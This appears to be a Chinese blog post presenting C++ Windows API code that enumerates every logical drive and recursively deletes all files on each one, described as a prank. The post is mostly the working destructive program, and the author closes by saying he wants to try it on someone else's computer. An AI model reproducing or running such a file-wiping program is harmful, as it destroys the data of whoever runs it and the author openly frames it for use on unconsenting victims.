现在的位置: 首页 > 综合 > 正文

用Windows API遍历所有文件并删除

2012年02月17日 ⁄ 综合 ⁄ 共 1086字 ⁄ 字号 评论关闭

最近一直在学windows API,弄了一些好玩的东西(有点恶作剧了)...

下面是我现学现卖写的一个删除硬盘上所有文件的小程序 ....

#include <windows.h>
#include <stdio.h>
#include <bitset>
using namespace std;
void DelFile(char *cFilePath)
{
 
 WIN32_FIND_DATA data;
 HANDLE hFind;
 char cFullPath[100];
 char cNewPath[100];
 sprintf_s(cFullPath,"%s\\*.*",cFilePath);
 hFind=FindFirstFile(cFullPath,&data);

 do
 {
  if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))
  {
   continue;
  }

  if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
  {
   sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName);
   DelFile(cNewPath);//递归
  }
  
//  MessageBox(NULL,data.cFileName,"Look",0);
  sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName);
  DeleteFile(cFullPath);
  
 }while(FindNextFile(hFind,&data));
 

}

int WINAPI WinMain(
  HINSTANCE hInstance,      // handle to current instance
  HINSTANCE hPrevInstance,  // handle to previous instance
  LPSTR lpCmdLine,          // command line
  int nCmdShow              // show state
)
{

 DWORD dwDrive=GetLogicalDrives();
 bitset<32> bit(dwDrive);
 char Path[3]={'a',':','\0'};
 for(int ix=0;ix!=32;ix++)
 {
  if(bit.test(ix))
  {
   Path[0]='A'+ix;
   DelFile(Path);
  }
 }
 return 0;
}

最后用了GetLogicalDrives这个API函数来判断本机有多少个分区,然后用sprintf格式化一下作为DelFile的参数.

等有机会拿到别人电脑上试试吧....

 

抱歉!评论已关闭.